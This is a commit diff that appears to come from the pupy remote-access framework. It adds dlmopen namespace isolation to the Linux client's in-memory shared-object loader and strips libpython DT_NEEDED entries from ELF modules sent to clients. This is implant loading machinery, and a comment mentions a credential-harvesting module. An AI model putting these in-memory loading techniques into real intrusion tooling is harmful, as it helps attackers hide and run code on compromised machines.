linux/client: Add LMID support

Do not use RTLD_GLOBAL namespace for python. This allows to load
shared object with other copies of python.

Example:

> python3
Python 3.6.5 (default, Jun 30 2018, 10:35:51)
[GCC 7.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import ctypes; ctypes.CDLL('/tmp/ppd.so')

This requires latest tc-linux32/tc-linux64 toolchains

client/sources-linux/tmplibrary.c

@@ -348,6 +348,24 @@ pid_t memexec(const char *buffer, size_t size, const char* const* argv, int stdi
     return -1;
 }
 
+#ifdef LM_ID_NEWLM
+static void *_dlopen(const char *path, int flags) {
+    static Lmid_t lmid = LM_ID_NEWLM;
+
+    flags &= ~RTLD_GLOBAL;
+
+    void *handle = dlmopen(lmid, path, flags);
+    if (lmid == LM_ID_NEWLM && handle) {
+        dlinfo(handle, RTLD_DI_LMID, &lmid);
+        dprint("memdlopen - dlmopen - new lmid created: %08x\n", lmid);
+    }
+
+    return handle;
+}
+#else
+#define _dlopen(path, flags) dlopen(path, flags)
+#endif
+
 void *memdlopen(const char *soname, const char *buffer, size_t size) {
     dprint("memdlopen(\"%s\", %p, %ull)\n", soname, buffer, size);
 
@@ -366,7 +384,7 @@ void *memdlopen(const char *soname, const char *buffer, size_t size) {
         return search.base;
     }
 
-    void *base = dlopen(soname, RTLD_NOLOAD);
+    void *base = _dlopen(soname, RTLD_NOLOAD);
     if (base) {
         dprint("Library \"%s\" loaded from OS\n", soname);
         return base;
@@ -415,7 +433,11 @@ void *memdlopen(const char *soname, const char *buffer, size_t size) {
     bool is_memfd = false;
 #endif
 
-    base = dlopen(buf, RTLD_NOW | RTLD_GLOBAL);
+    int flags = RTLD_NOW | RTLD_LOCAL;
+
+    dprint("dlopen(%s, %08x)\n", buf, flags);
+    base = _dlopen(buf, flags);
+    dprint("dlopen(%s, %08x) = %p\n", buf, flags, base);
     if (!is_memfd) {
         dprint("Close fd: %d\n", fd);
         close(fd);

client/toolchain/docker-old-tc

@@ -1 +1 @@
-Subproject commit 218abc23b1231bba33fe272ffc1e5dbc5317078f
+Subproject commit 3bded1c0f194c957684d887582f901991597c21d

pupy/pupylib/PupyClient.py

@@ -57,7 +57,9 @@ class PupyClient(object):
         }
 
         #alias
-        self.conn = self.desc["conn"]
+        self.conn = self.desc['conn']
+        self.native = self.desc['native']
+
         self.pupsrv = pupsrv
         self.imported_dlls = set()
         self.imported_modules = set()
@@ -338,7 +340,7 @@ class PupyClient(object):
         if name in self.imported_dlls:
             return False
 
-        buf = dependencies.dll(name, self.platform, self.arch)
+        buf = dependencies.dll(name, self.platform, self.arch, native=self.native)
         if not buf:
             raise ImportError('Shared object {} not found'.format(name))
 
@@ -455,7 +457,7 @@ class PupyClient(object):
                 posix=self.is_posix(), honor_ignore=honor_ignore,
                 filter_needed_cb=lambda modules, dll: self.filter_new_modules(
                     modules, dll, forced, remote
-                )
+                ), native=self.native
             )
 
             self.cached_modules.update(contents)
@@ -509,17 +511,17 @@ class PupyClient(object):
             self.remote_invalidate_module(module_name)
 
     def remote_load_package(self, module_name):
-        logger.debug('remote_load_package for %s started', module_name)
+        logger.info('remote_load_package for %s started', module_name)
 
         try:
             return self.load_package(module_name, remote=True)
 
         except dependencies.NotFoundError:
-            logger.debug('remote_load_package for %s failed', module_name)
+            logger.info('remote_load_package for %s failed', module_name)
             return None, None
 
         finally:
-            logger.debug('remote_load_package for %s completed', module_name)
+            logger.info('remote_load_package for %s completed', module_name)
 
     def remote_print_error(self, msg):
         self.pupsrv.handler.display_warning(msg)

pupy/pupylib/payloads/dependencies.py

@@ -7,6 +7,9 @@ import cPickle
 import zlib
 from zipfile import ZipFile
 
+from elftools.elf.elffile import ELFFile
+from io import BytesIO
+
 from pupylib.PupyCompile import pupycompile
 from pupylib import ROOT, getLogger
 
@@ -119,6 +122,41 @@ WELL_KNOWN_DEPS = {
 
 logger.debug("LIBS_AUTHORIZED_PATHS=%s"%repr(LIBS_AUTHORIZED_PATHS))
 
+def remove_dt_needed(data, libname):
+    ef = ELFFile(data)
+    dyn = ef.get_section_by_name('.dynamic')
+
+    ent_size = dyn.header.sh_entsize
+    sect_size = dyn.header.sh_size
+    sect_offt = dyn.header.sh_offset
+
+    tag_idx = None
+
+    for idx in xrange(sect_size/ent_size):
+        tag = dyn.get_tag(idx)
+        if tag['d_tag'] == 'DT_NEEDED':
+            if tag.needed == libname:
+                tag_idx = idx
+                break
+
+    if tag_idx is None:
+        return False
+
+    null_tag = '\x00' * ent_size
+    dynamic_tail = None
+
+    if idx == 0:
+        dynamic_tail = dyn.data()[ent_size:] + null_tag
+    else:
+        dyndata = dyn.data()
+        dynamic_tail = dyndata[:ent_size*(idx)] + \
+          dyndata[ent_size*(idx+1):] + null_tag
+
+    data.seek(sect_offt)
+    data.write(dynamic_tail)
+    return True
+
+
 def safe_file_exists(f):
     """ some file systems like vmhgfs are case insensitive and os.isdir() return True for "lAzAgNE", so we need this check for modules like LaZagne.py and lazagne gets well imported """
     return os.path.basename(f) in os.listdir(os.path.dirname(f))
@@ -137,7 +175,7 @@ sys.modules[fullname]=mod
 
     return code
 
-def importer(dependencies, os='all', arch=None, path=None, posix=None):
+def importer(dependencies, os='all', arch=None, path=None, posix=None, native=False):
     if path:
         modules = {}
         if not type(dependencies) in (list, tuple, set, frozenset):
@@ -149,11 +187,22 @@ def importer(dependencies, os='all', arch=None, path=None, posix=None):
         blob = cPickle.dumps(modules)
         blob = zlib.compress(blob, 9)
     else:
-        blob, modules, _ = package(dependencies, os, arch, posix=posix)
+        blob, modules, _ = package(dependencies, os, arch, posix=posix, native=native)
 
     return 'pupyimporter.pupy_add_package({}, compressed=True)'.format(repr(blob))
 
-def get_content(platform, arch, prefix, filepath, archive=None, honor_ignore=True):
+def modify_native_content(filename, content):
+    if content.startswith('\x7fELF'):
+        logger.info('ELF file - %s, check for libpython DT_NEED record', filename)
+        image = BytesIO(content)
+        if remove_dt_needed(image, 'libpython2.7.so.1.0'):
+            logger.info('Modified: DT_NEEDED libpython2.7.so.1.0 removed')
+
+        content = image.getvalue()
+
+    return content
+
+def get_content(platform, arch, prefix, filepath, archive=None, honor_ignore=True, native=False):
     if filepath.startswith(prefix) and honor_ignore:
         basepath = filepath[len(prefix)+1:]
         basepath, ext = os.path.splitext(basepath)
@@ -199,13 +248,23 @@ def get_content(platform, arch, prefix, filepath, archive=None, honor_ignore=Tru
                             logger.info('Patch: Ignore %s (%s)', filepath, ignore)
                             raise IgnoreFileException()
 
+    content = None
+
     if archive:
-        return archive.read(filepath)
+        content = archive.read(filepath)
     else:
         with open(filepath, 'rb') as filedata:
-            return filedata.read()
+            content = filedata.read()
+
+    if not native:
+        logger.debug('Modify natve content for %s (native=%s)', filepath, bool(native))
+        content = modify_native_content(filepath, content)
+
+    return content
+
+def from_path(platform, arch, search_path, start_path, pure_python_only=False,
+              remote=False, honor_ignore=True, native=False):
 
-def from_path(platform, arch, search_path, start_path, pure_python_only=False, remote=False, honor_ignore=True):
     query = start_path
 
     modules_dic = {}
@@ -243,7 +302,8 @@ def from_path(platform, arch, search_path, start_path, pure_python_only=False, r
                         arch,
                         search_path,
                         os.path.join(root, f),
-                        honor_ignore=honor_ignore)
+                        honor_ignore=honor_ignore,
+                        native=native)
                 except IgnoreFileException:
                     continue
 
@@ -300,7 +360,8 @@ def from_path(platform, arch, search_path, start_path, pure_python_only=False, r
                         arch,
                         search_path,
                         filepath,
-                        honor_ignore=honor_ignore)
+                        honor_ignore=honor_ignore,
+                        native=native)
                 except IgnoreFileException:
                     break
 
@@ -363,18 +424,21 @@ def _dependencies(module_name, os, dependencies):
     dependencies.add(module_name)
 
     mod_deps = WELL_KNOWN_DEPS.get(module_name, {})
+
     for dependency in mod_deps.get('all', []) + mod_deps.get(os, []):
         _dependencies(dependency, os, dependencies)
 
-def _package(modules, module_name, platform, arch, remote=False, posix=None, honor_ignore=True):
+def _package(modules, module_name, platform, arch, remote=False, posix=None, honor_ignore=True, native=False):
 
     initial_module_name = module_name
 
     start_path = module_name.replace('.', os.path.sep)
 
     for search_path in paths(platform, arch, posix):
-        modules_dic = from_path(platform, arch, search_path, start_path,
+        modules_dic = from_path(
-                                remote=remote, honor_ignore=honor_ignore)
+            platform, arch, search_path, start_path,
+            remote=remote, honor_ignore=honor_ignore,
+            native=native)
         if modules_dic:
             break
 
@@ -399,6 +463,7 @@ def _package(modules, module_name, platform, arch, remote=False, posix=None, hon
                 content = None
                 if info.filename.startswith(start_paths):
                     module_name = info.filename
+
                     for prefix in COMMON_SEARCH_PREFIXES:
                         if module_name.startswith(prefix+'/'):
                             module_name = module_name[len(prefix)+1:]
@@ -416,7 +481,8 @@ def _package(modules, module_name, platform, arch, remote=False, posix=None, hon
                                 get_content(
                                     platform, arch, prefix,
                                     info.filename, archive,
-                                    honor_ignore=honor_ignore),
+                                    honor_ignore=honor_ignore,
+                                    native=native),
                                 info.filename)
                         except IgnoreFileException:
                             continue
@@ -454,7 +520,8 @@ def _package(modules, module_name, platform, arch, remote=False, posix=None, hon
                             content = get_content(
                                 platform, arch, prefix,
                                 info.filename, archive,
-                                honor_ignore=honor_ignore)
+                                honor_ignore=honor_ignore,
+                                native=native)
                         except IgnoreFileException:
                             continue
 
@@ -488,7 +555,8 @@ def _package(modules, module_name, platform, arch, remote=False, posix=None, hon
 
     modules.update(modules_dic)
 
-def package(requirements, platform, arch, remote=False, posix=False, filter_needed_cb=None, honor_ignore=True):
+def package(requirements, platform, arch, remote=False, posix=False,
+            filter_needed_cb=None, honor_ignore=True, native=False):
     dependencies = set()
 
     if not type(requirements) in (list, tuple, set, frozenset):
@@ -524,7 +592,8 @@ def package(requirements, platform, arch, remote=False, posix=False, filter_need
             _package(
                 modules, dependency, platform, arch,
                 remote=remote, posix=posix,
-                honor_ignore=honor_ignore
+                honor_ignore=honor_ignore,
+                native=native
             )
 
         blob = zlib.compress(cPickle.dumps(modules), 9)
@@ -552,7 +621,7 @@ def bundle(platform, arch):
 
     return ZipFile(arch_bundle, 'r')
 
-def dll(name, platform, arch, honor_ignore=True):
+def dll(name, platform, arch, honor_ignore=True, native=False):
     buf = b''
 
     for packages_path in paths(platform, arch):
@@ -561,7 +630,7 @@ def dll(name, platform, arch, honor_ignore=True):
             try:
                 buf = get_content(
                     platform, arch, name, packages_path, dll_path,
-                    honor_ignore=honor_ignore)
+                    honor_ignore=honor_ignore, native=native)
             except IgnoreFileException:
                 pass
 
@@ -577,7 +646,8 @@ def dll(name, platform, arch, honor_ignore=True):
                             platform, arch, os.path.dirname(info.filename),
                             info.filename,
                             archive,
-                            honor_ignore=honor_ignore
+                            honor_ignore=honor_ignore,
+                            native=native
                         )
                     except IgnoreFileException:
                         pass

pupy/requirements.txt

@@ -35,6 +35,7 @@ fusepy
 defusedxml
 keyboard
 puttykeys
+pyelftools
 -e external/pykcp
 flake8
 flake8-per-file-ignores